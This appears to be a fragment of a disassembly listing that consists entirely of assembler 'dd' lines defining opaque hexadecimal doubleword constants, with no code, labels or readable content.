		dd 42F46ECh, 7956AD00h,	0A11B6AA7h, 422E30C0h, 91A4F68h
		dd 0AD60A6F0h, 0A3517F10h, 0AC3A2010h, 5E897307h, 0DE9BA99Ch
		dd 2562026Ch, 0B880A418h, 0D7C77A8Eh, 56FEBD03h, 803E8F2Ah
		dd 1090633h, 7A972EAh, 0E00B9DC7h, 590087F8h, 0CBAE9CFCh
		dd 86F7F9h, 0A8EDA37Ch,	33CDD808h, 81DF1C00h, 0E7EBC592h
		dd 0D43700AEh, 0F088C85h, 0EFF8BC0Ch, 62DF860Eh, 34B980EAh
		dd 3A7281E9h, 67C0459h,	0AAB0EE6Bh, 0BA1F40C3h,	0A614DAC2h
		dd 0A09A14AEh, 0DD039F40h, 0C097E7C3h, 0F8F44D1Ch, 0B0EB3CCDh
		dd 98603053h, 8DC93A1h,	51081CA6h, 8F92EEh, 0DC366C0Ch
		dd 0A2E8DDB0h, 4E5060A6h, 4D56478Ch, 0DD93E004h, 92EF0308h
		dd 0D21F02DCh, 0CD9C4A0h, 0A00018ACh, 0A1EDEB37h, 2CAD6C2h
		dd 0B5D80B9Fh, 2CB359DCh, 40AE86D1h, 779C87C4h,	9715FCF8h
		dd 8F38F10Bh, 0E37D800Ch, 0FCCD88E8h, 0F2D1FB96h, 401C145Dh
		dd 0E8F10059h, 98047D61h, 0EE7467A0h, 0D8369714h, 0D9CB02F8h
		dd 880579B4h, 5E55044Ch, 631AE700h, 5786E1F9h, 0BFF300FCh
		dd 97872A59h, 0DFE8D7C2h, 34A30826h, 86E97D04h,	0DC4700D7h
		dd 1233288Ch, 40E8D872h, 0CEA08B98h, 973EF014h,	0B9851335h
		dd 48504019h, 3C6E0CE0h, 204CF2C2h, 0E8026CD4h,	8AE7378Fh
		dd 0E2D9EC41h, 191A744Ch, 89161C6h, 0FE570460h,	30080C24h
		dd 0B0DDCB01h, 80D17853h
		dd 932C9064h, 401C1240h, 0DD942E58h, 54B0D434h,	0F02D0B09h
		dd 87D081A7h, 99E00DAEh, 40CA6292h, 0C060D8DCh,	0E601C553h
		dd 0D7B9DFEDh, 51D3BE93h, 39C08C10h, 0A3350292h, 0D934A185h
		dd 0D27C70C1h, 0D87EFC60h, 0A0902C7Eh, 0C57C5AB0h, 3162DFF0h
		dd 4334A960h, 0DA5800ACh, 2E08A685h, 40C1AB84h,	0DB36BA2Ch
		dd 0C8BC92D1h, 0E73BA83Ch, 9330C7F4h, 0FCDBC753h, 0DC7C85A1h
		dd 0A086DE00h, 0A6EDD83Eh, 8798A40Bh, 0F86AD504h, 78DE3650h
		dd 0B9B97881h, 0C36181D4h, 665380D6h, 7D23C60h,	0AEEFEE60h
		dd 0DDB1D991h, 1849B827h, 35BB8AC2h, 30AAF041h,	0A03A9E1Ch
		dd 0E89324C5h, 8D2CDC03h, 1630E6C4h, 1E84DA36h,	0DD900F7Ch
		dd 9286E500h, 40941CC0h, 7ED70448h, 81F80C0Bh, 8EC4218Ch
		dd 0B460E5CBh, 89E4B308h, 0CB0E9B9h, 2C1DEA67h,	0DC2C09BEh
		dd 8D100819h, 2C287CD3h, 49C4EBC2h, 0EFB91C03h,	4CDC094Ch
		dd 9FE452C4h, 0C8C25032h, 2E3D9FC0h, 420DF85h, 0C3D8A095h
		dd 697CAE10h, 973A3678h, 20D92EA7h, 96DC9342h, 0F93C902Ch
		dd 13C2AEDCh, 0DDDEDDAh, 6058B534h, 360F8C20h, 99BE9CA3h
		dd 809461B0h, 4D218F2h,	0DA0DCE50h, 491FF38h, 57BF8EAh
		dd 5697D2F1h, 0E084B5DFh, 0EA21C1B9h, 872AC20Ch, 0F50B189Dh
		dd 0DAC8009Ch, 2908B9E1h, 0DE68B0DCh, 0E7EA6C01h, 80DAD8ABh
		dd 5DDCD860h, 850264FCh, 81E508A7h, 0F86618ABh,	0F0535089h
		dd 0A8E8E5FDh, 2086A02Eh, 34AB8B82h, 838E0A2h, 1D449ED6h
		dd 36AA04E8h, 4F3CF2DCh, 0FB4ED431h, 0BC5D0h, 0D834B992h
		dd 0EBC0A193h, 6301DFF0h, 7CAA86EEh, 907098EFh,	8AFC3A0Fh
		dd 60410B3Eh, 3130B850h, 0B4EB21E7h, 0EF371DDFh, 0DD340997h
		dd 2D8150E9h, 800C83C8h, 0BC680B09h, 0E082C252h, 0E8E2E47Ch
		dd 6C643417h, 0BEDFECB0h, 5F34E850h, 87DDCD05h,	8B0590F7h
		dd 80A37Ch, 83CD2EF0h, 0E11C2D54h, 868137DDh, 85E6CE53h
		dd 0BB812180h, 8CEDD8C5h, 0C8A1E7E8h, 743038B9h, 0E020EA5Bh
		dd 29DD6033h, 0A938A181h, 0F1EB7E10h, 0BCB0F87Ch, 0AA0DE8DFh
		dd 607C2832h, 378E2474h, 0CDC201Ch, 0CDAA84D5h,	0C107AE20h
		dd 329286DAh, 0CBA08541h, 0E05DB838h, 70E59C5h,	8A2D52C4h
		dd 0B975418Ch, 0C1EC2809h, 8F92E733h, 0D8B1FEF1h, 47DC8788h
		dd 525343DCh, 405C86B4h, 74F9878h, 0CA268ABCh, 0A9283C04h
		dd 0C2920180h, 0A045D8EBh, 0C5B042E9h, 60B9F0A6h, 0E36A917h
		dd 780BDCCCh, 0B9A619E8h, 1DAE9ECh, 58552EC2h, 4993DC31h
		dd 3061602Dh, 68D8D737h, 9CEFC1D4h, 4420CDA3h, 94F4A692h
		dd 0F0E8C964h, 804FDCD8h, 81ED300Fh, 0DF86E663h, 0E885EFF1h
		dd 497EE60h, 0A281DCF0h, 20ADFF18h, 0C513A9B4h,	0DC01EDD5h
		dd 0CBAAEBF2h, 0F6C40CCCh, 0DF1507CFh, 2094CAB8h, 43240768h
		dd 49839300h, 263EA0C6h, 66993AC4h, 89F15960h, 1F00EE17h
		dd 0EA402AA9h, 608390ACh, 0B14C38D1h, 51EA124Ah, 7097333Bh
		dd 0FEA4DF0Ch, 209648E7h, 0A5002FC9h, 303C08CFh, 33B32049h
		dd 330FBD1h, 0B7F57BD0h, 4E38F618h, 0AD95920h, 9562832Bh
		dd 0FE927320h, 20CE0D30h, 3F0D4B90h, 0A02BF24Eh, 0F8A78C00h
		dd 14950177h, 0C62FC0FAh, 0B908920Ah, 1DB8F0h, 28B077FFh
		dd 0B4F38F19h, 0DDD4C44h, 9BF898A3h, 91589118h,	9677829Eh
		dd 0B831A214h, 77FA5210h, 0B672CD00h, 0BB2A93E2h, 0E95100D9h
		dd 20C4EB4Ah, 0A4A0C7F3h, 4007EDEFh, 0F6B45086h, 84453BC5h
		dd 0B80425DAh, 84410CBBh, 98F9A97Ch, 47698190h,	1F8F482h
		dd 30263883h, 5894F1E3h, 7481421Ch, 0C6001822h,	7D71E630h
		dd 640F4F93h, 0E6ED6194h, 3759A2C5h, 0E0613DBEh, 0FA36DEF3h
		dd 4F03CF76h, 0D40DB581h, 74B9B68Ch, 441530E2h,	0CE498031h
		dd 283CE824h, 809AEE8Eh, 58DE4EFh, 0EDC73028h, 8FA90819h
		dd 92152202h, 456A8133h, 34A26430h, 0B968A4h, 269CB4D7h
		dd 0FC794649h, 1C131B29h, 0FB27AC90h, 0B32A7048h, 0C124CA49h
		dd 14CF7A5h, 4D9A5C00h,	8FD84B50h, 8E2B0B0Eh, 9D41D805h
		dd 0E363005Ah, 78AEFD52h, 8E2B2A54h, 83D1E0B7h,	0E1FDC81Ah
		dd 46830CE7h, 2D1F599Ah, 0C604ECE8h, 0A7864FE0h, 21386009h
		dd 54ECFC0Dh, 1326B9FEh, 0CA0300A1h, 42D9F30h, 0BAA98178h
		dd 0EE0CC8BCh, 8CFFA50Ch, 1414E046h, 90602183h,	7CF9E844h
		dd 0EA90A805h, 0B866053Fh, 7BEC7D8Eh, 98AD118Ch, 0A0D6C482h
		dd 37917495h, 0C8033280h, 0CE006E97h, 0B6982E7Bh, 2A0C950Fh
		dd 0DF4A1B2h, 2F20D6C5h, 5E801A8h, 0F7D18048h, 0DC1ED915h
		dd 8C751DE9h, 268841F3h, 5F4709FBh, 20867A70h, 0C60A387Eh
		dd 0B0ABAFA1h, 3B23E820h, 49C80148h, 303D465Eh,	3514C3C8h
		dd 0F220BCF0h, 0E4084D4Ah, 0C272603Ah, 0EEC4043Dh, 8C3E51C7h
		dd 0A91847E4h, 4070A3C6h, 39496016h, 28034B3Ch,	4C01CB14h
		dd 2AE70AA4h, 2F80E4A1h, 0AA9CCEA5h, 93FA0EA9h,	0D9AF2736h
		dd 91BCE640h, 0EC4CB604h, 599B0890h, 998F0166h,	22823C7Dh
		dd 122C0528h, 0A80021CBh, 24FE03E9h, 3044923Ah,	0B9794D9Bh
		dd 173E77CFh, 7CD9023Ch, 68D630F6h, 0B0C3FE3Ch,	0E3843224h
		dd 58A7D320h, 0FE59D0EBh, 0B0922C04h, 88645300h, 296DCA95h
		dd 55B23334h, 9100DB08h, 0C1886C72h, 723BE79Dh,	443E0254h
		dd 67172FF2h, 0AC1D4C64h, 0C500A1CDh, 0C14F08DBh, 4C1004C8h
		dd 93A25A76h, 0DCF238B8h, 62A1BD00h, 32F8A00Fh,	0C5D77E12h
		dd 6B7D4F18h, 13C30050h, 2BE8148Dh, 0DCC8A8ADh,	0DE680FAAh
		dd 0A4E1F15Bh, 0D851CB39h, 0A50036DDh, 75E42641h, 0A0F74691h
		dd 474CB898h, 6A0C7D30h, 0A0274390h, 0A3C400E4h, 30359269h
		dd 0D063B799h, 0E2A11918h, 0C6204095h, 0DE183068h, 0BD0CE618h
		dd 0EA014C93h, 90C66FECh, 0F883018h, 0B3EC07E6h, 0C043B95Eh
		dd 0A2E46548h, 0F88C4D54h, 887A0F8Ch, 88D1CAFFh, 626C8154h
		dd 0CC8D8F88h, 953E611Bh, 0AD301D97h, 99EEC6Ch,	96531D41h
		dd 0E4503AC6h, 4974C7A5h, 0CB083831h, 9A076165h, 34765733h
		dd 1B200029h, 6CA5F6D3h, 8D334975h, 28086Fh, 0D283C021h
		dd 0C89D1AD9h, 0D7BA520Fh, 0A3B0F474h, 0FBD823CCh, 0E2887B00h
		dd 862AC5CAh, 897F44h, 937B8863h, 4A459A72h, 0FE48D0h
		dd 8983FAF0h, 485567Ch,	6A78BA2Ah, 79D0882Bh, 384BFE00h
		dd 753AE84Ch, 0E3B70787h, 0C23D2812h, 584C6735h, 0AB986208h
		dd 0B023532Dh, 887001FAh, 0ECDCAE9h, 88788E03h,	75FBA974h
		dd 4EF10383h, 2B07696h,	149177F4h, 10BB31DAh, 6077FCA9h
		dd 0F9216A47h, 7A2E0641h, 851FB471h, 0F060A020h, 0F014813Bh
		dd 6680481Dh, 2A8832CEh, 94615318h, 8FF18BCh, 0E8C67AECh
		dd 9E70870h, 1902D0ECh,	0D53BE002h, 82718101h, 0A5AB00C2h
		dd 0F5056E4Ch, 2F01832Ah, 5C9934C4h, 0BAF25472h, 0DC8F30h
		dd 9D6D410Eh, 0DFB0CD4Ah, 7C48353h, 0CBCE84A9h,	0FC5DDC40h
		dd 7E4604AEh, 987833EFh, 0D2089054h, 70B4A5EDh,	0D30218FBh
		dd 95F546B5h, 5BE0E017h, 7A117C7h, 900843AEh, 0F83E2F67h
		dd 7340758Ah, 0EE4B888h, 9BE7AB34h, 9796C5C1h, 390C361Fh
		dd 83899CEAh, 0FDE42064h, 94886160h, 2955CA10h,	738757C8h
		dd 0DE7389A9h, 0DD8BE8BAh, 3EA791Dh, 7FC7B7B2h,	0B9A03F8Eh
		dd 0B0D3B803h, 0CFC00418h, 3F2088A0h, 18830D40h, 18BB6251h
		dd 6B206909h, 33071DD4h, 41E69DF0h, 9AC929FEh, 0D9E4F8B2h
		dd 689068A4h, 95028246h
		dd 0F8C664ECh, 0E0048E7h, 4323ECFDh, 120E1A8h, 58504929h
		dd 3F20C73Dh, 0C6CB2008h, 0C0311975h, 0C8344AA0h, 0FF70C036h
		dd 0A2384162h, 986A84C9h, 5890D9F3h, 539F33A1h,	0DBB2C03Ch
		dd 79FB4E30h, 0A80C5038h, 822FF9Bh, 0C896B882h,	8F08A464h
		dd 3B195Eh, 5844A931h, 2DF83D43h, 0EAC479C7h, 0A62E7641h
		dd 2C863474h, 64ECBE57h, 0C814CB3Fh, 0E418C0A2h, 3267B43Dh
		dd 7E403B69h, 4C895E8Ch, 0FD82EC3Eh, 982A972Dh,	1D5465Ch
		dd 0E9C3A3F9h, 88418B44h, 10ADA4Bh, 1F543188h, 0E8411E6Bh
		dd 0E30CBE18h, 0C666EC08h, 91CF88h, 0D7ECEB04h,	79DAE8h
		dd 0D4451D0Ah, 5FA5C264h, 0A001A14Eh, 7F559B46h, 24D71C20h
		dd 5828C8C6h, 73000D80h, 33937D4Ch, 2AE3096h, 0C843F59Ah
		dd 9C60EF09h, 0B8A018DCh, 0A125C66Ch, 903405ABh, 200804CAh
		dd 0CC012CFBh, 5231C379h, 0FF8DE0DAh, 90C44CEBh, 0F1242220h
		dd 83C09C95h, 5CA35FB9h, 2EB5103Eh, 0FE8C7E74h,	0D6CF0084h
		dd 0D514457Eh, 21C002B4h, 0AFF82E3Dh, 0CE0C0F3Bh, 0E65D4464h
		dd 2282008Ch, 406841B2h, 1D300090h, 0C486D8DEh,	0DC84534Fh
		dd 39B48E0Ch, 3F07C251h, 0B90C7480h, 82377770h,	9D7000BDh
		dd 1544E869h, 340BABC2h, 2C186E7h, 9625548h, 0EC8C00B0h
		dd 0C86CB949h, 0E6F7C7FDh, 6CAC4E1Ah, 1906A344h, 0C86877FEh
		dd 12D0329Bh, 0E80F94E7h, 27D3A462h, 6F03408Ah,	42B1920Ch
		dd 0FDF5E900h, 4D8F8568h, 0A8755C58h, 38C56E8h,	0B0946A2Dh
		dd 0A0D92E6Dh, 5044274Ch, 48C56A8h, 0A5F7D31Ah,	203F6284h
		dd 51D282CDh, 9F0E4B3Ah, 1600219Ah, 6A536ECFh, 18C44877h
		dd 0A07CB6A4h, 0C032219Eh, 454ADD71h, 0CB1D3919h, 0E0879250h
		dd 54AC5A09h, 0A8FF58CFh, 3D576D04h, 1E35D47h, 0A5F0D295h
		dd 88D118BCh, 0D213BDC2h, 68010F52h, 0CCCFBA78h, 790440C2h
		dd 8BB914C6h, 0F501D002h, 8790E8CDh, 0DC98EA7Ch, 92105C6Ch
		dd 98074CE1h, 79DB5FE8h, 65B46488h, 0EA8C6031h,	0B0C3988Fh
		dd 50C0F6DAh, 262D7471h, 7674E9D9h, 39032B46h, 0CECC5732h
		dd 3BE95FE8h, 0A0332606h, 9295DCAh, 45755EC5h, 4E6A3C90h
		dd 0A54CA203h, 2330CD7h, 7147A918h, 0E976B6h, 20C4715Ch
		dd 0C7400F18h, 4418B0FCh, 20C36F89h, 87502AA9h,	3C1CD5C1h
		dd 81B3D085h, 20F8C84Eh, 0B0B91E7Ch, 0DC18A5D9h, 526B503h
		dd 0D845988Ah, 6A0EAF8h, 43123203h, 4F0D9823h, 0B849C676h
		dd 57F2D472h, 80F09F31h, 0E1350092h, 0CA37A803h, 30A0AB20h
		dd 20E9DE56h, 4E00B2E4h, 6BE194DCh, 9C7251C6h, 4DCF41C8h
		dd 0D87FECF6h, 117CCCB6h, 0ED59487Dh, 0CC1541ADh, 37038D17h
		dd 0AA44D48Ah, 2B4840F9h, 2EEE4B8Eh, 1C2B239Ch,	0BD538186h
		dd 3C0B4B3Dh, 0C4FBCA38h, 6F80FF11h, 65CAFE88h,	0D8222943h
		dd 5288E6A0h, 0FFFB3728h, 8214C548h, 5069B31Eh,	0FEDD15D8h
		dd 310E8044h, 23240B8Fh, 261CC866h, 0A73BC700h,	0AE835725h
		dd 0BB42001Ah, 31CEB10Ch, 0C40BF417h, 292EA390h, 3A5CCC80h
		dd 9F427DB3h, 461D9305h, 97171897h, 0C7837312h,	60B84410h
		dd 4CF3A069h, 35090C7Dh, 0CCC17C3Ah, 97828A7h, 0E1B94608h
		dd 0BC62E758h, 1E3030F2h, 41D3070Ch, 0F02B0197h, 0C7B981ADh
		dd 1060ACE5h, 2326F08h,	0CCF68FF4h, 9BF8B0D0h, 0C452B26h
		dd 0C0C8330Ah, 6365CB61h, 73968042h, 0E3EB70F0h, 0E40FEE00h
		dd 5A8722Ah, 0FA21C07Ch, 5863433Eh, 0CA1D8807h,	0DF90604Ch
		dd 1EE97207h, 0E8E1B8D0h, 0BB2B0DBCh, 2088417Dh, 0DCAA3144h
		dd 45F26843h, 27C6C725h, 0D6123F18h, 0C5962674h, 0A4F04CFCh
		dd 832283Eh, 98AFCBDEh,	6D4A210Dh, 0DBB7F712h, 0C693E004h
		dd 0A8CECA5Fh, 831E84E4h, 43E8E115h, 27828AC8h,	62A13C01h
		dd 30CAD983h, 403F297Bh, 0ACA689CBh, 23CC913Eh,	0CD298010h
		dd 4E603D7Fh, 9F386439h, 2187810Fh, 0B86C250Ch,	0ECB20131h
		dd 0B0D9F002h, 1215B8D4h, 60E74E34h, 9477F144h,	96F2142Fh
		dd 0BC1C4CB0h, 84808F38h, 9971F0FDh, 650018F4h,	95EC0B5Ah
		dd 613AB43Fh, 8FA950E9h, 6908DCF0h, 43224714h, 0E74A7734h
		dd 3023982Eh, 0D464420Eh, 0D6260096h, 433D3775h, 93C60A98h
		dd 38C8490Dh, 4F68400Ch, 7B4F5539h, 605E1022h, 80E902BCh
		dd 0F17013ABh, 55140C00h, 2798F68Ch, 8578BB32h,	9210F7A5h
		dd 24412A44h, 83F42251h, 92019033h, 4028EF46h, 90C5BB4Fh
		dd 2338A725h, 749517A8h, 1ED0B6A9h, 4823F6Ch, 0CEA98264h
		dd 384434E8h, 22D7F727h, 40BD0F04h, 9896BC18h, 0D6301F38h
		dd 31CF1883h, 435498CAh, 0FD1751C8h, 0F8C81240h, 0BA30B0B9h
		dd 219926E4h, 24B03934h, 803D8BB1h, 3A87B700h, 4A78464Bh
		dd 435C00A0h, 2161DD90h, 0FF58B549h, 0CE7961B8h, 8060385Dh
		dd 6D3C1CE7h, 8FD16CAh,	91C0791Ch, 53A5ECD2h, 0E68094DCh
		dd 0FDF7D319h, 0FF393008h, 0B4540436h, 0BB54D1EFh, 348104BAh
		dd 39838CE5h, 4E352C9Ah, 923F84A7h, 4C93C764h, 2DBB46B1h
		dd 0B844C18h, 4C274B23h, 0ABFB02E4h, 85DEC1Eh, 4ACD4ECh
		dd 501700A4h, 944BAA9Bh, 0EB884103h, 7709ED18h,	1CD21490h
		dd 0F5A830B4h, 8F106520h, 0EB66311Dh, 9B150401h, 78BA6AEDh
		dd 6629761Eh, 0C9A006F8h, 526F1E7h, 80BB0841h, 0A9B72434h
		dd 0F556DFDh, 9C2D33ECh, 764D8141h, 3CF87159h, 8CDEE8F8h
		dd 7C46622Ch, 0A2320D0Bh, 0EABD5E14h, 0A5948220h, 0BC050166h
		dd 0C438825Ch, 0EAC5F338h, 2A4023BCh, 8EF900ACh, 0D30DE49Ah
		dd 60001471h, 1B9CA930h, 14977782h, 34870294h, 67813383h
		dd 9003C05Eh, 0D8134246h, 39FB6664h, 0CB8676ECh, 9C4BA4Fh
		dd 46216A60h, 3BCECCDh,	0BFFF48F0h, 180335F8h, 0D18F286h
		dd 0DC92A026h, 1DF30643h, 1166F874h, 0B2C10201h, 89331287h
		dd 5ED11C51h, 4924A7FBh, 6EA56F00h, 0BC520718h,	0ECCE024Ch
		dd 31F3FB03h, 0F43D106Bh, 26E300ECh, 0DDE52D34h, 2300C6E0h
		dd 0EB9A9C1Ch, 633F9B7h, 2BE143DAh, 443989B0h, 3D910F24h
		dd 0EF2F610Fh, 43D0D13Fh, 7E20C086h, 0A508442Ch, 0FB7B9D00h
		dd 0DDFED0DFh, 0D9B30CFh, 3B1C35C1h, 0C5258B00h, 56F5096Bh
		dd 0BF80061Bh, 62FC3D78h, 0F27DBE00h, 30E531C6h, 8CB0187Ch
		dd 1536E8F7h, 12482C60h, 3BD7653h, 227ACACFh, 918B207h
		dd 73206ED9h, 0A9BD007Eh, 14C8CA5Bh, 3F028F1Dh,	6C525E10h
		dd 0C3A0A503h, 912E7023h, 0D8A23A1Bh, 24584470h, 1A443600h
		dd 0ABA64E81h, 0D63500DDh, 74C0D0FDh, 0C2733F6Fh, 18B4303Ch
		dd 0DA83293h, 730A0C1h,	61F430E7h, 91CE80E0h, 49318305h
		dd 0CC40755Dh, 7BACBA24h, 3D8000AFh, 30457A0Bh,	71415FFh
		dd 0C0F04719h, 0FB18ECF9h, 6C008C9Bh, 1A481913h, 301D6C2h
		dd 0D437AFAAh, 8FE3CD84h, 166AC0C0h, 4D05A3Ch, 11C45DB2h
		dd 0BF8287h, 0BB270228h, 93E90F91h, 944EC715h, 5621218Ch
		dd 36270A00h, 143733D4h, 0CCCEA6Ch, 71D517A8h, 79186078h
		dd 5F3146EDh, 0F06701F6h, 698BEA95h, 93108014h,	8FAF3107h
		dd 0FCD30246h, 74507C90h, 30A8200Ch, 48405C2Eh,	0D600BF40h
		dd 75BBD561h, 0CCB3DD12h, 1D214908h, 62D6B901h,	15957A8Bh
		dd 0DEB67987h, 0D2DB5150h, 4B9F43F4h, 370E613Eh, 79F7A816h
		dd 0F0BD9B30h, 663C0C62h, 83085298h, 5857C1C0h,	1B63BF9Bh
		dd 0E1EA50F5h, 40E199E0h, 91B9BA02h, 807D30C2h,	0A61AC7A8h
		dd 0E884686Eh, 2100D664h
		dd 0E04F130h, 1C737831h, 466A6593h, 28680A95h, 0E401FCE6h
		dd 737560A8h, 0E0FE9F17h, 640EFF88h, 60A77967h,	2360D6C0h
		dd 4611C3D5h, 0D6B61E0Ch, 0C7002E0Eh, 0DFD81DD4h, 6F556CFh
		dd 98AA9161h, 6905E074h, 42D4B529h, 26A5A400h, 3A22FE43h
		dd 5600046Bh, 0D29B737Ah, 30C3831Ch, 0A6A4F4EFh, 0A11109A8h
		dd 3C315170h, 40318B5h,	191BE27h, 20223294h, 5F270B89h
		dd 1C8BB21Eh, 85FA434Ah, 7859B03Eh, 5F9DA9Dh, 4F5A2374h
		dd 28E04067h, 25FEBFFDh, 0DC017BECh, 0F6201E7Ch, 0B8F4790Fh
		dd 0DB00051h, 36DFEED2h, 47494405h, 0D3120744h,	104DB804h
		dd 910AB001h, 615BEC42h, 188970F8h, 0A017B0A9h,	0EA812491h
		dd 2474E017h, 0D31C2028h, 80E46DB6h, 265A944h, 0B3D55EE4h
		dd 2007E09Ch, 0E22FD6B8h, 0C057E08Fh, 249DEE97h, 4F446F82h
		dd 4F4090A8h, 0B12B29h,	0D7EECA5Eh, 2CFC24D4h, 47B8D0C1h
		dd 0A45001AAh, 518DDCEFh, 0CAF0B04Eh, 166F20D8h, 386944h
		dd 0CB902911h, 75E04C3Fh, 20188000h, 63B45696h,	44EC1510h
		dd 0BA23F86Ah, 0C1270803h, 2B62F491h, 27108820h, 912139B7h
		dd 0B4FD6380h, 0F7927D82h, 9C43EE03h, 72509Dh, 0A59A9189h
		dd 0DF327DE2h, 0B0DCE63Fh, 0E946B84Ah, 0D960A70h, 8867CBh
		dd 5680D660h, 0D90AEF0Bh, 8C728BFEh, 94F4D502h,	0ADF8A11Ch
		dd 0A820224Ah, 0BE36025Fh, 42CDB5Eh, 0C4191048h, 0A6BA4814h
		dd 2359F120h, 2410D518h, 0F01F6EF4h, 9097180Dh,	932C27D3h
		dd 0F406179Bh, 54B83E11h, 14918449h, 0BC6820A2h, 2FE1D200h
		dd 61A3979h, 4099FF30h,	6F47F4D1h, 0D7875880h, 1DBC83D6h
		dd 6B958900h, 10146672h, 48F7FAFDh, 5613C853h, 0E02840F8h
		dd 516E046Ah, 0A01B78C0h, 10CF6FE4h, 244A6CDAh,	0D2875467h
		dd 2A85EC25h, 42A84078h, 5E200822h, 0E46B0267h,	284449A1h
		dd 6CF420h, 54C2D96Dh, 0DA9E41EDh, 40705524h, 0E41ABA04h
		dd 1207E0C1h, 25889303h, 103EA471h, 29141997h, 0CC351868h
		dd 40DEC020h, 80E73995h, 1621E5B9h, 10326DEBh, 247D8696h
		dd 0A84885Dh, 0E4C1BF61h, 0EA0077FCh, 5C9A49DCh, 0E64F4609h
		dd 21342068h, 6F0EA294h, 4C1EA06Fh, 4F494D92h, 321820FEh
		dd 0D3107DFBh, 7F4A038h, 208E827Bh, 1D862968h, 90A15ED9h
		dd 78571888h, 0C08A1166h, 0F106D300h, 0E75C72ADh, 8208CC55h
		dd 0A800A721h, 9EC861D3h, 27A8A12h, 2AF740E2h, 9882BACFh
		dd 78C7162Eh, 27637EC4h, 2EA2BAABh, 0EECCED60h,	0D576287Dh
		dd 90154026h, 0A265498Bh, 3594DA28h, 77822491h,	3444CF17h
		dd 0D204690Bh, 4980032Fh, 0C46BBAC1h, 20454528h, 288CB8BCh
		dd 4DE42706h, 2C882809h, 270E8A83h, 1FDB903Eh, 54FC0245h
		dd 4C31D9BEh, 50F0E0A7h, 82842D12h, 2B16EEE2h, 0E801C293h
		dd 850B324Ah, 7EB05CF8h, 9DC3460h, 649882A1h, 0E998D420h
		dd 44D94895h, 0C1C14A3Dh, 534830F1h, 489FB480h,	9C5141F0h
		dd 0D44540E1h, 80592408h, 0B05B1DFAh, 53FB4FFDh, 0B7F009CCh
		dd 920A257Ch, 8870A4A2h, 0D18E420h, 0FD687173h,	44F498B7h
		dd 0C24D557h, 90B13880h, 0FA028482h, 0F0362861h, 92052621h
		dd 191FF7DAh, 1E04B005h, 0A8C33CD4h, 18190076h,	0FD2B5677h
		dd 51C22DC4h, 405DCE06h, 280535ECh, 20347934h, 0F5F87CDAh
		dd 18C127EAh, 88F70DEEh, 0D0948104h, 0CDE00016h, 4DA13217h
		dd 0BA26E870h, 79572030h, 38B80629h, 10584C3Dh,	50585296h
		dd 50828C10h, 6341F210h, 40144460h, 66F8FB50h, 0A21984E3h
		dd 0BA008310h, 58C171C3h, 0C9107F65h, 4DDD3420h, 0A26304C0h
		dd 0CC4821CFh, 0F0186258h, 7529C195h, 1F5C927Ch, 40889901h
		dd 9A558710h, 4B0372B8h, 0B16EDFDh, 98C8DC63h, 0D04048A6h
		dd 6CC00A88h, 21F0C99Bh, 659139C2h, 9B64B303h, 0F831B972h
		dd 0F079C9F4h, 6719218Ah, 0C8D38948h, 58A0D40Fh, 75CDF20h
		dd 0FD133773h, 0F00891A9h, 0E4690574h, 3A9C5696h, 2262368h
		dd 0D1D9A965h, 0D06028E2h, 9001082Ah, 5F1A231Dh, 4865F404h
		dd 23BD9C02h, 249AFCD3h, 0EF6B14C4h, 0A6580519h, 9BD80D8h
		dd 0CBD56BD6h, 1B809C45h, 0C5BD6B7h, 0E3DA007Bh, 9BA92DD4h
		dd 6CAB6A8Dh, 1C4C90C2h, 0BC48B05Ch, 24008C2Ch,	6BC2FACDh
		dd 50703C50h, 0A814A49Fh, 88724FC4h, 0A104F9B3h, 54E5E88Ch
		dd 22284082h, 0BCC8D917h, 0A9075E60h, 26AAA3B4h, 0C420728Eh
		dd 53DFEED4h, 14509C60h, 5E028C10h, 52F0BF9Bh, 1081193Ch
		dd 59B5659h, 84978B50h,	0C9BC084Ah, 8170758Dh, 122BBF4h
		dd 0FEB2A0EDh, 0F71055F5h, 896DF100h, 17A5BCD0h, 0E07E0E56h
		dd 75E75898h, 0D99051A4h, 79D8914Bh, 0C8533115h, 1BE99401h
		dd 0C429BE9Dh, 247DDAC7h, 0B7900701h, 76AAA5F0h, 0F85F8420h
		dd 7CE487E9h, 0A00AE260h, 0E4409E01h, 2ACAD89Fh, 0ED04D426h
		dd 0D15E05ECh, 32FFDA14h, 69307C74h, 0A717183Dh, 0BA12FE35h
		dd 0DA9B0C08h, 0ED281E8Fh, 2D4E0413h, 552E8806h, 47FD00E1h
		dd 0F6503E96h, 0D4124A97h, 14C0302Ch, 48AE56BAh, 3110689Fh
		dd 0EF4F0C6Ch, 2EED917h, 0E4F10DD9h, 20C83261h,	715868CAh
		dd 0B0668BA0h, 11D3BB04h, 8885F0FFh, 0C3B4837Dh, 0DF8FED3h
		dd 5600A0DAh, 0E8F73B84h, 24F1CE32h, 1138D9F4h,	0FC970671h
		dd 1DF84C75h, 2E68A2C6h, 0C8954764h, 74F52D83h,	10D03D28h
		dd 0C8184AB0h, 0DA00336Eh, 0A6407A4Dh, 0B854A293h, 0E9208098h
		dd 7C598267h, 0FB184379h, 1BECE00h, 1E5E3357h, 9F48A02Fh
		dd 1A87321h, 0F353711Ch, 0DD12A7ACh, 0DCEE21D7h, 8F07300Ch
		dd 93CA879Bh, 0DCE65F40h, 0E0535CFBh, 0A4AB90C8h, 189C678h
		dd 0F0BC109Eh, 3269329Dh, 413410E4h, 0A404044Eh, 484F0946h
		dd 0DD618h, 25E69602h, 83D94B53h, 8079C53Bh, 803BE271h
		dd 61B07569h, 10BA3084h, 0C4C0241Eh, 6D3BE07h, 0BE0946Fh
		dd 987B520h, 5103E218h,	9E213490h, 9C17DA2Ch, 465C7048h
		dd 2DC007Eh, 0C36417B8h, 525E28A5h, 7EE20060h, 0CBE13A5Ah
		dd 0CF1E5C32h, 6C40F2A5h, 0D955C11Ah, 8A92C11h,	4BF92B4h
		dd 5F357Ch, 2362AFAh, 98FC2ED5h, 31A98544h, 0C1EC575Ah
		dd 40E8E555h, 7A3B35D8h, 18494484h, 860B0314h, 4AAB84B8h
		dd 0D0DF9800h, 2512F1D2h, 70468A75h, 7F396C52h,	0CCEF0108h
		dd 9A57005h, 0A0B8F86Dh, 0A1142106h, 40B07B88h,	6C4028C0h
		dd 0DCEF0B10h, 80902E0Dh, 84821DF1h, 0BA6165CCh, 9DEC70D3h
		dd 8B11CC93h, 0D3C2B100h, 0F5D8CE7Fh, 0BB95D600h, 76567E5Eh
		dd 772A30A5h, 19CE10D0h, 22C6352h, 0F102D3BCh, 1081318Dh
		dd 0BD3C4B3h, 0B8DB9550h, 0C8A81007h, 6B600B44h, 0F076BE9Bh
